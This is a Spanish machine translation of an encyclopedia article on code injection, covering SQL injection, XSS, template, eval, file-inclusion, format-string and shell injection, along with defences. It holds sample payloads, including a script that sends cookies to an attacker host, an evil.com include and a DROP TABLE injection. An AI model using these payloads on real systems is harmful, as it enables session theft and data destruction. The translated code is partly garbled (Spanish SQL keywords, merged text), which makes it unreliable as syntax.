La inyección de código es una vulnerabilidad de seguridad informática en la que un programa no procesa correctamente los datos externos, como la entrada del usuario, lo que provoca que los interprete como comandos ejecutables. Un atacante que utiliza este método "inyecta" código en el programa mientras se está ejecutando. La explotación exitosa de una vulnerabilidad de inyección de código puede provocar filtraciones de datos , acceso a sistemas informáticos restringidos o críticos y la propagación de malware .
Las vulnerabilidades de inyección de código ocurren cuando una aplicación envía datos no confiables a un intérprete , que luego ejecuta el texto inyectado como código. Los fallos de inyección se encuentran a menudo en servicios como bases de datos SQL (Structured Query Language ), analizadores XML (Extensible Markup Language), comandos del sistema operativo , encabezados SMTP (Simple Mail Transfer Protocol ) y otros argumentos de programas . Los fallos de inyección se pueden identificar mediante el examen del código fuente , [ 1 ] el análisis estático o métodos de prueba dinámicos como el fuzzing . [ 2 ]
Existen numerosos tipos de vulnerabilidades de inyección de código, pero la mayoría son errores de interpretación: tratan la entrada de usuario inofensiva como código o no distinguen la entrada de los comandos del sistema. Muchos ejemplos de errores de interpretación pueden existir fuera de la informática, como el monólogo cómico "¿ Quién está en primera? " . La inyección de código puede utilizarse con fines maliciosos para diversos propósitos, entre ellos:
- Modificación arbitraria de valores en una base de datos mediante inyección SQL ; las consecuencias pueden variar desde la alteración de un sitio web hasta la grave vulneración de datos confidenciales . Para más información, consulte Ejecución arbitraria de código .
- Instalar malware o ejecutar código malicioso en un servidor mediante la inyección de código de scripting del servidor (como PHP ).
- Escalada de privilegios a permisos de superusuario en UNIX mediante la explotación de vulnerabilidades de inyección de shell en un archivo binario o a privilegios de sistema local en Microsoft Windows mediante la explotación de un servicio dentro de Windows.
- Atacar a los usuarios de la web mediante la inyección de lenguaje de marcado de hipertexto ( HTML ) o secuencias de comandos entre sitios ( XSS ).
Las inyecciones de código dirigidas al Internet de las Cosas también podrían tener graves consecuencias, como filtraciones de datos e interrupciones del servicio. [ 3 ]
Las inyecciones de código pueden ocurrir en cualquier tipo de programa que se ejecute con un intérprete . Hacer esto es trivial para la mayoría, y es una de las razones principales por las que el software de servidor se mantiene alejado de los usuarios. Un ejemplo de cómo un inyector puede ver la inyección de código de primera mano es usar las herramientas para desarrolladores de su navegador .
Las vulnerabilidades de inyección de código son registradas por el Instituto Nacional de Estándares y Tecnología (NIST ) en la Base de Datos Nacional de Vulnerabilidades ( NVD ) como CWE-94 . La inyección de código alcanzó su punto máximo en 2008 con un 5,66 % como porcentaje de todas las vulnerabilidades registradas. [ 4 ]
Uso benigno e involuntario
La inyección de código puede realizarse con buenas intenciones. Por ejemplo, cambiar o modificar el comportamiento de un programa o sistema mediante la inyección de código puede hacer que el sistema se comporte de cierta manera sin intención maliciosa. [ 5 ] [ 6 ] La inyección de código podría, por ejemplo:
- Introducir una nueva columna útil que no aparecía en el diseño original de la página de resultados de búsqueda.
- Ofrecer una nueva forma de filtrar, ordenar o agrupar datos mediante el uso de un campo que no está disponible en las funciones predeterminadas del diseño original.
- Agregar funcionalidades como la conexión a recursos en línea en un programa sin conexión.
- Sobrescribir una función, haciendo que las llamadas se redirijan a otra implementación. Esto se puede hacer con el enlazador dinámico en Linux . [ 7 ]
Algunos usuarios pueden realizar inyecciones de código sin darse cuenta porque la información que proporcionaron a un programa no fue considerada por quienes desarrollaron originalmente el sistema. Por ejemplo:
- Lo que el usuario considere una entrada válida puede contener caracteres especiales o cadenas de caracteres que el desarrollador ha reservado para darles un significado especial (como el signo de ampersand o las comillas).
- El usuario puede enviar un archivo con formato incorrecto como entrada, que se procesa correctamente en una aplicación pero resulta tóxico para el sistema receptor.
Otro uso beneficioso de la inyección de código es el descubrimiento de fallos de inyección para encontrar y corregir vulnerabilidades. Esto se conoce como prueba de penetración .
Prevención
Para prevenir problemas de inyección de código, la persona podría utilizar estrategias seguras de manejo de entrada y salida, tales como:
- Utilizando una interfaz de programación de aplicaciones ( API ) que, si se usa correctamente, es segura frente a todos los caracteres de entrada. Las consultas parametrizadas permiten extraer datos del usuario de una cadena para su interpretación. Además, la API Criteria [ 8 ] y otras API similares se alejan del concepto de crear e interpretar cadenas de comandos.
- Imponer la separación de lenguajes mediante un sistema de tipos estático . [ 9 ]
- Validar o "sanear" los datos de entrada, como por ejemplo, incluir en una lista blanca valores conocidos como válidos. Esto puede hacerse en el lado del cliente, que es vulnerable a modificaciones por parte de usuarios malintencionados, o en el lado del servidor, que es más seguro.
- Codificar la entrada o escapar los caracteres peligrosos. Por ejemplo, en PHP, usar la
htmlspecialchars()función para escapar caracteres especiales para una salida segura de texto en HTML y lamysqli::real_escape_string()función para aislar los datos que se incluirán en una solicitud SQL puede proteger contra la inyección SQL. - Codificación de la salida, que puede utilizarse para prevenir ataques XSS contra los visitantes del sitio web.
- Uso del
HttpOnlyindicador para cookies HTTP . Cuando se establece este indicador, no permite la interacción de scripts del lado del cliente con las cookies, lo que previene ciertos ataques XSS . [ 10 ] - Disociación modular del núcleo mediante shell .
- En cuanto a la inyección SQL , se pueden usar consultas parametrizadas , procedimientos almacenados , validación de entrada de lista blanca y otros enfoques para ayudar a mitigar el riesgo de un ataque. [ 11 ] El uso de mapeo objeto-relacional puede ayudar aún más a evitar que los usuarios manipulen directamente las consultas SQL .
Las soluciones descritas anteriormente abordan principalmente la inyección de código HTML o script en una aplicación del servidor a través de la web. Sin embargo, deben adoptarse otros enfoques cuando se trata de inyecciones de código de usuario en una máquina operada por el usuario, lo que a menudo resulta en ataques de elevación de privilegios. Algunos enfoques que se utilizan para detectar y aislar inyecciones de código administrado y no administrado son:
- La validación del hash de la imagen en tiempo de ejecución consiste en capturar el hash de una imagen parcial o completa del ejecutable cargado en la memoria y compararlo con los hashes almacenados y esperados.
- Bit NX : todos los datos del usuario se almacenan en secciones de memoria especiales marcadas como no ejecutables. El procesador sabe que no existe código en esa parte de la memoria y se niega a ejecutar cualquier cosa que encuentre allí.
- Utilice valores canario , que son valores colocados aleatoriamente en una pila. En tiempo de ejecución, se comprueba un valor canario cuando una función finaliza. Si un valor canario ha sido modificado, el programa detiene su ejecución y finaliza. Esto ocurre en caso de un ataque de desbordamiento de pila fallido .
- Enmascaramiento de punteros de código (CPM): después de cargar un puntero de código (potencialmente modificado) en un registro, el usuario puede aplicar una máscara de bits al puntero. Esto restringe efectivamente las direcciones a las que puede referirse el puntero. Esto se utiliza en el lenguaje de programación C. [ 12 ]
Ejemplos
Inyección SQL
Un ataque de inyección SQL aprovecha la sintaxis SQL para inyectar comandos maliciosos que pueden leer o modificar una base de datos o comprometer de otro modo el significado de la consulta original. [ 13 ]
Por ejemplo, consideremos una página web con dos campos de texto que permiten a los usuarios introducir un nombre de usuario y una contraseña para acceder al sitio. El código del servidor web (hipotético) recibirá estos parámetros y generará una consulta SQL para verificar que el nombre de usuario existe y que la contraseña es correcta. Si la consulta devuelve algún resultado, se concede el acceso.
Por ejemplo, si se le proporciona el nombre de usuario alicey la contraseña hunter2, el servidor generará y ejecutará esta consulta:
SELECCIONAR UserList.Username DE UserList DONDE UserList.Username = ' alice ' Y UserList.Password = ' hunter2 'Sin embargo, si el atacante proporciona hunter2' OR '1'='1en el campo de contraseña, el servidor generará y ejecutará esta consulta:
SELECCIONAR UserList.Username DE UserList DONDE UserList.Username = 'alice' Y UserList.Password = ' hunter2 ' O ' 1 ' = ' 1 'Aunque hunter2la contraseña pueda ser correcta o no, la expresión '1'='1'siempre es verdadera y la base de datos devolverá todas las filas de la UserListtabla, lo que permite al atacante iniciar sesión incluso si no tiene la contraseña correcta.
La técnica puede extenderse para permitir al atacante ejecutar múltiples instrucciones. Por ejemplo, si el atacante proporcionara la contraseña hunter2'; DROP TABLE UserList; --, la consulta resultante sería:
SELECCIONAR UserList.Username DE UserList DONDE UserList.Username = ' alice ' Y UserList.Password = ' hunter2 ' ; ELIMINAR TABLA UserList ; -- 'Dado que el ;símbolo indica el final de una instrucción, es posible iniciar una nueva instrucción; en este caso, DROP TABLE. El símbolo --indica el inicio de un comentario, neutralizando así el texto final 'que el servidor agrega al generar la sintaxis de la consulta. Como resultado de estas dos instrucciones, no se devolverá ninguna fila (a menos que, por casualidad, el usuario Username tenga una contraseña en blanco) y UserListse eliminará toda la tabla.
En el caso de los motores de bases de datos que extienden SQL para permitir que las consultas invoquen programas externos, el atacante también podría obtener esa capacidad.
Secuencias de comandos entre sitios
La inyección de código es la introducción maliciosa de código en una aplicación. Algunos servidores web tienen un script de libro de visitas que acepta mensajes cortos de los usuarios y normalmente recibe mensajes como:
¡Sitio web muy bonito!Sin embargo, una persona malintencionada podría conocer una vulnerabilidad de inyección de código en el libro de visitas e introducir un mensaje como el siguiente:
Buen sitio , creo que lo descargaré. <script> window.location = " https : //some_attacker/evilcgi/cookie.cgi ? steal = " + escape ( document.cookie ) </script>Si otro usuario visita la página, se ejecutará el código inyectado. Este código permite al atacante suplantar la identidad de otro usuario. Sin embargo, este mismo fallo de software puede activarse accidentalmente por un usuario desprevenido, lo que provocará que el sitio web muestre código HTML malicioso.
La inyección de HTML y scripts es un tema recurrente, conocido comúnmente como " cross-site scripting " o "XSS". XSS se refiere a una vulnerabilidad de inyección mediante la cual la entrada del usuario a un script web o similar se inserta en el HTML de salida sin ser verificada en busca de código HTML o scripts.
Muchos de estos problemas están relacionados con suposiciones erróneas sobre qué datos de entrada son posibles o los efectos de datos especiales. [ 14 ]
Inyección de plantillas del lado del servidor
Los motores de plantillas se utilizan a menudo en las aplicaciones web modernas para mostrar datos dinámicos. Sin embargo, confiar en datos de usuario no validados puede generar vulnerabilidades críticas [ 15 ] , como las inyecciones de plantillas del lado del servidor. Si bien esta vulnerabilidad es similar al cross-site scripting , la inyección de plantillas puede aprovecharse para ejecutar código en el servidor web en lugar de en el navegador del visitante. Esto abusa de un flujo de trabajo común de las aplicaciones web, que suelen utilizar entradas de usuario y plantillas para renderizar una página web. El siguiente ejemplo ilustra el concepto. Aquí, la plantilla {{visitor_name}}se reemplaza con datos durante el proceso de renderizado.
Hola {{visitor_name}} Un atacante puede usar este flujo de trabajo para inyectar código en la canalización de renderizado proporcionando un visitor_name. Dependiendo de la implementación de la aplicación web, podría optar por inyectar {{7*'7'}}que el renderizador podría resolver a Hello 7777777. Tenga en cuenta que el servidor web real ha evaluado el código malicioso y, por lo tanto, podría ser vulnerable a la ejecución remota de código .
Vulnerabilidades de evaluación dinámica
Una vulnerabilidad de inyección ocurre cuando un atacante puede controlar total o parcialmente una cadena de entrada que se introduce en una llamada a una función . [ 16 ]eval()eval()
$myvar = 'somevalue' ; $x = $_GET [ 'arg' ]; eval ( '$myvar = ' . $x . ';' );El argumento de " eval" se procesará como PHP , por lo que se pueden agregar comandos adicionales. Por ejemplo, si "arg" se establece en " ", se ejecuta código adicional que ejecuta un programa en el servidor, en este caso " ".10;system('/bin/echo uh-oh')/bin/echo
Inyección de objetos
PHP permite la serialización y deserialización de objetos completos . Si se permite una entrada no confiable en la función de deserialización, es posible sobrescribir clases existentes en el programa y ejecutar ataques maliciosos. [ 17 ] Un ataque de este tipo en Joomla se descubrió en 2013. [ 18 ]
Inyección remota de archivos
Considere este programa PHP (que incluye un archivo especificado por solicitud):
<?php $color = 'azul' ; if ( isset ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; require ( $color . '.php' );El ejemplo espera que se proporcione un color, mientras que los atacantes podrían proporcionar COLOR=http://evil.com/exploituno que provoque que PHP cargue el archivo remoto.
Inyección de especificador de formato
Los errores de formato de cadena aparecen con mayor frecuencia cuando un programador desea imprimir una cadena que contiene datos proporcionados por el usuario. El programador puede escribir erróneamente printf(buffer)en lugar de printf("%s", buffer). La primera versión interpreta buffercomo una cadena de formato y analiza cualquier instrucción de formato que pueda contener. La segunda versión simplemente imprime una cadena en la pantalla, como pretendía el programador. Considere el siguiente programa corto en C que tiene una variable local de tipo arraypassword de caracteres que almacena una contraseña; el programa solicita al usuario un número entero y una cadena, y luego imprime la cadena proporcionada por el usuario.
#include <stdio.h>char input [ 100 ]; int number ; char password [ 10 ] = "Password1" ;printf ( "Ingrese un número entero \n " ); scanf ( "%d" , & number ); printf ( "Ingrese una cadena \n " ); fgets ( input , sizeof ( input ), stdin );printf ( entrada ); printf ( " \n " );Si la entrada del usuario se completa con una lista de especificadores de formato, como %s%s%s%s%s%s%s%s, entonces printf()comenzará a leer desde la pila . Eventualmente, uno de los %sespecificadores de formato accederá a la dirección de password, que está en la pila, y la imprimirá Password1en la pantalla.
En cambio, para imprimir la entrada de forma segura:
printf ( "%s" , input );Esto codifica de forma rígida el comportamiento del formato, impidiendo la inyección de especificadores de formato.
Inyección de cáscara
La inyección de shell (o inyección de comandos [ 19 ] ) recibe su nombre de los shells de UNIX , pero se aplica a la mayoría de los sistemas que permiten que el software ejecute programáticamente una línea de comandos . Aquí hay un ejemplo de un script tcsh vulnerable :
#!/bin/tcsh # comprobar argumento # muestra "coincide" si el argumento es 1 if ( $1 == 1 ) echo coincide Si lo anterior se almacena en el archivo ejecutable ./check, el comando de shell ./check " 1 ) evil"intentará ejecutar el comando de shell (hipotético) evilen lugar de comparar el primer argumento con el valor constante 1. Aquí, el código atacado es el código que intenta verificar el parámetro, el mismo código que podría haber estado intentando validar el parámetro para defenderse de un ataque. [ 20 ]
Cualquier función que pueda usarse para componer y ejecutar un comando de shell es un vehículo potencial para lanzar un ataque de inyección de shell. Entre ellas se encuentran system(), StartProcess(), y System.Diagnostics.Process.Start().
Los sistemas cliente-servidor , como la interacción de un navegador web con un servidor web, son potencialmente vulnerables a la inyección de código malicioso. Consideremos el siguiente programa PHP breve que puede ejecutarse en un servidor web para ejecutar un programa externo que funnytextreemplace una palabra enviada por el usuario con otra.
<?php passthru ( "/bin/funnytext " . $_GET [ 'USER_INPUT' ]);La passthrufunción del programa anterior compone un comando de shell que luego es ejecutado por el servidor web. Dado que parte del comando que compone se toma de la URL proporcionada por el navegador web, esto permite que la URL inyecte comandos de shell maliciosos. Se puede inyectar código en este programa de varias maneras explotando la sintaxis de varias características de shell (esta lista no es exhaustiva): [ 21 ]
Algunos lenguajes ofrecen funciones para escapar o entrecomillar correctamente las cadenas que se utilizan para construir comandos de shell:
Sin embargo, esto sigue obligando a los programadores a conocer estas funciones y a recordar utilizarlas cada vez que usen comandos de la consola. Además de usar estas funciones, también se recomienda validar o sanitizar la entrada del usuario.
La alternativa más segura es usar API que implementen la funcionalidad deseada directamente en el lenguaje de programación en cuestión, en lugar de invocar un programa externo en la línea de comandos, evitando así la posibilidad de inyección de código. Por ejemplo, en lugar de implementar la funcionalidad de Git mediante git ...comandos de la línea de comandos, es mejor usar una API de Git como libgit2 .
Véase también
Referencias
- ↑ "Las 10 principales vulnerabilidades de seguridad en aplicaciones web" . Penn Computing . Universidad de Pensilvania. Archivado del original el 24 de febrero de 2018. Consultado el 10 de diciembre de 2016 .
- ↑ "OWASP Top 10 2013 A1: Fallos de inyección" . OWASP. Archivado del original el 28 de enero de 2016. Consultado el 19 de diciembre de 2013 .
- ↑ Noman, Haitham Ameen; Abu-Sharkh, Osama MF (enero de 2023). "Ataques de inyección de código en Internet de las cosas (IoT) basado en redes inalámbricas: una revisión exhaustiva e implementaciones prácticas" . Sensors . 23 ( 13): 6067. Bibcode : 2023Senso..23.6067N . doi : 10.3390/s23136067 . ISSN 1424-8220 . PMC 10346793. PMID 37447915 .
- ↑ "NVD - Búsqueda de estadísticas" . web.nvd.nist.gov . Archivado del original el 15 de diciembre de 2023. Consultado el 9 de diciembre de 2016 .
- ↑ Srinivasan, Raghunathan. "Hacia detectores de virus más eficaces" (PDF) . Universidad Estatal de Arizona . Archivado del original (PDF) el 29 de julio de 2010. Recuperado el 18 de septiembre de 2010.
El uso benevolente de la inyección de código ocurre cuando un usuario cambia el comportamiento de un programa para cumplir con los requisitos del sistema.
- ↑ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Detección de procesos de bots basada en síntomas". Seguridad de redes informáticas . Notas de clase en ciencias de la computación. Vol. 6258. Berlín, Heidelberg: Springer. pp. 229–241 . CiteSeerX 10.1.1.185.2152 . doi : 10.1007/978-3-642-14706-7_18 . ISBN 978-3-642-14705-0ISSN 0302-9743
- ↑ "Trucos del enlazador dinámico: Usar LD_PRELOAD para engañar, inyectar características e investigar programas" . Blog de Rafał Cieślak . 2 de abril de 2013. Archivado del original el 25 de diciembre de 2021. Consultado el 10 de diciembre de 2016 .
- ↑ "Tutorial de Java EE 6: Capítulo 35 Uso de la API Criteria para crear consultas" . Oracle. Archivado del original el 11 de noviembre de 2013. Consultado el 19 de diciembre de 2013 .
- ↑ Moertel, Tom (18 de octubre de 2006). "Una solución basada en tipos al "problema de las cadenas": ¿un final apropiado para las vulnerabilidades XSS y de inyección SQL?" . Blog de Tom Moertel . Archivado del original el 6 de agosto de 2013. Recuperado el 21 de octubre de 2018 .
- ↑ "HttpOnly" . OWASP . 12 de noviembre de 2014. Archivado del original el 26 de diciembre de 2008. Consultado el 10 de diciembre de 2016 .
- ↑ "Hoja de trucos para la prevención de inyecciones SQL" . OWASP . Archivado del original el 20 de enero de 2012. Consultado el 10 de diciembre de 2016 .
- ↑ Philippaerts, Pieter; et al. (1 de junio de 2013). "CPM: Enmascaramiento de punteros de código para prevenir ataques de inyección de código" ( PDF) . ACM Transactions on Information and System Security . 16 (1): 1– 27. doi : 10.1145/2487222.2487223 . ISSN 1094-9224 . S2CID 10947780. Archivado (PDF) del original el 24 de febrero de 2021. Recuperado el 21 de octubre de 2018 .
- ↑ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 de marzo de 2021). "Memoria a corto y largo plazo en árbol de sintaxis abstracta para la detección de inyección SQL" . IET Software . 15 (2): 188– 197. doi : 10.1049/sfw2.12018 . ISSN 1751-8806 . S2CID 233582569 .
- ↑ Hope, Brian; Hope, Paco; Walther, Ben (15 de mayo de 2009). Web Security Testing Cookbook . Sebastopol, CA: O'Reilly Media . pág. 254. ISBN 978-0-596-51483-9OCLC 297573828
- ↑ "Inyección de plantillas del lado del servidor" . PortSwigger Research . 5 de agosto de 2015. Archivado del original el 22 de mayo de 2022. Consultado el 22 de mayo de 2022 .
- ↑ Christey, Steven M. (3 de mayo de 2006). "Vulnerabilidades de evaluación dinámica en aplicaciones PHP" . Full Disclosure (lista de correo). Archivado del original el 13 de noviembre de 2009. Recuperado el 21 de octubre de 2018 .
- ↑ "Advertencias sobre la deserialización de funciones" . PHP.net. Archivado del original el 9 de mayo de 2015. Consultado el 6 de junio de 2014 .
- ↑ "Análisis de la vulnerabilidad de inyección de objetos PHP en Joomla" . Archivado del original el 2 de marzo de 2013. Consultado el 6 de junio de 2014 .
- ↑ "Inyección de comandos" . Archivado del original el 20 de diciembre de 2013. Consultado el 19 de diciembre de 2013 .
- ↑ Douglas W. Jones, Apuntes de CS:3620, Lección 4: Scripts de shell . Archivado el 24 de septiembre de 2024 en Wayback Machine , primavera de 2018.
- ↑ "Inyección de comandos - Biblioteca Black Hat" . Consultado el 27 de febrero de 2015 .
{{cite web}}: CS1 maint: servicio de archivado obsoleto ( enlace )
Enlaces externos
- Tadeusz Pietraszek y Chris Vanden Berghe. " Defensa contra ataques de inyección mediante evaluación de cadenas sensible al contexto (CSSE) "
- Artículo de noticias " Flux se extiende: el primer caballo de Troya utiliza la inyección de código para evitar ser detectado por un cortafuegos"
- El Daily WTF informa regularmente sobre casos reales de vulnerabilidad a la inyección de código en software.
- Tipos de malware
- Explotación de inyecciones
- Código máquina